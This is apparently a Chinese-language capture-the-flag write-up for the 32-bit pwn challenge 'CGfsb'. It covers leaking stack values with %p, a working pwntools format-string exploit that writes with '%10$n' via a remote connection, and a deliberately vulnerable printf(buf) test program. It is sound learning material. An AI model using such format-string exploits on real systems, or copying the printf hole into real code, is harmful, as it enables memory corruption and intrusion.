0-Preview

今天原本是👴们的英雄联盟时间,不用学习的。但是看着pwn就剩一个题太难受了,强迫症作祟,游戏都不想打了。

1-CGfsb

image-20211003115022162

开了金丝雀,NX,32位。记得用p32打包。
image-20211003115143462

很明显啊,还是个 printf 的漏洞,不会还是格式化字符串漏洞吧,那这个题就可以秒了。
一看伪代码,还真是这个漏洞。
原理可以去看 国庆七天pwn的第二天
解题思路:

利用格式化字符串漏洞 %p 泄露栈空间计算出偏移量
将要修改数据的地址当做参数,赋值给 name
最后利用 %n 来写入栈,修改 s 的值。

image-20211003115552528

测试一下偏移量:

image-20211003122524816

数了下,是 十 个偏移,接下来就可以写exp了。

1.1 exp

这道题还是有不一样的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PYTHON
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf = ELF("CGfsb")
shangu = 1

def main():
if shangu == 1:
io = remote("111.200.241.244",58910)
else:
io = process("CGfsb")
pwnme = 0x804A068
payload = p32(pwnme) +'a' * 4 + '%10$n'
io.sendlineafter("please tell me your name:\n","shangu")
io.sendlineafter("leave your message please:\n",payload)
io.interactive()

main()

2-疑问

这个题和 string 有啥不同的地方?
为什么 string 可以利用上一次输入地址,而这个题 不行。

做完这个题,我就一直在想。上一个string,也是第一次做格式化字符串漏洞,我记得是可以在一个输入点输入地址信息,然后在下一个输入点进行漏洞利用。
但是这个题就不行。这个必须搞明白咋回事。

为什么手动gdb和exp出来的地址不一样?

image-20211004193544746

2.1-ida分析

Int64 意思是64位整数(64bit interger), 相当于 long long 占8个字节
DWORD 代表 unsigned long 32位 四字节
%ld 表示数据按十进制有符号长型整数输入或输出。

区别:

1、string 是 64位 程序,这个CGfsb是32位程序
2、定义不同:string:int64 v2 // _isoc99_scanf(“%ld”, &v2);
CGfsb:DWORD buf[2] // read(0, buf, 0xAu);
3、exp的传参方式不同:

1
2
3
4
5
6
7
PYTHON
#string:
a1_adr = int(io.recvuntil("\n"),16)
io.sendlineafter("'Give me an address'\n",str(a1_adr))
#这里的地址既然是随机的!很神奇,但是我手动调的话地址不随机。amazing
#CGfsb
payload = p32(0x804A068)

一个是直接传字符串,一个用 p32 打包。

2.2-测试一下

由于我的底层学的还不是很好,需要实践一下。
测试一下,数组在栈中的存储方式、scanf和read读入有啥区别。
写个代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
C
int main()
{
long long a;
unsigned long buf[2];
a = 0;
buf[0] = 0;
buf[1] = 0;
scanf("%ld",&a);
read(0, buf, 0xAu);
printf(buf); //不要学我,我是故意写成这样方便测试的。
return 0;
}

image-20211004194806284

没问题啊,说明不是这里。

关于手动调试gdb结果不同的那个问题。
chumen👴一针见血:

image-20211004195102191

你可以看下al
aslr
会看到is off
aslr on会开起来

在gdb命令行输入

1
2
3
BASH
aslr //查看状态
aslr on

image-20211004214002148

打开以后我们再调试一次这个程序:
image-20211004214058687

这下地址就随机了,虽然目前还没发现有🥚用

3-失败

虽然没有用另一个办法打通,但是明白了为什么打不通。
这道题的name采用的是数组来存储。
入栈时会分成两半入栈,我输入的 aaaa 直接变成了两个 6161 。
并且设置了read读入长度最多为10位,限制了我们将一个地址分成两份的操作。
所以说这里不能写入地址。

image-20211004204609327

bird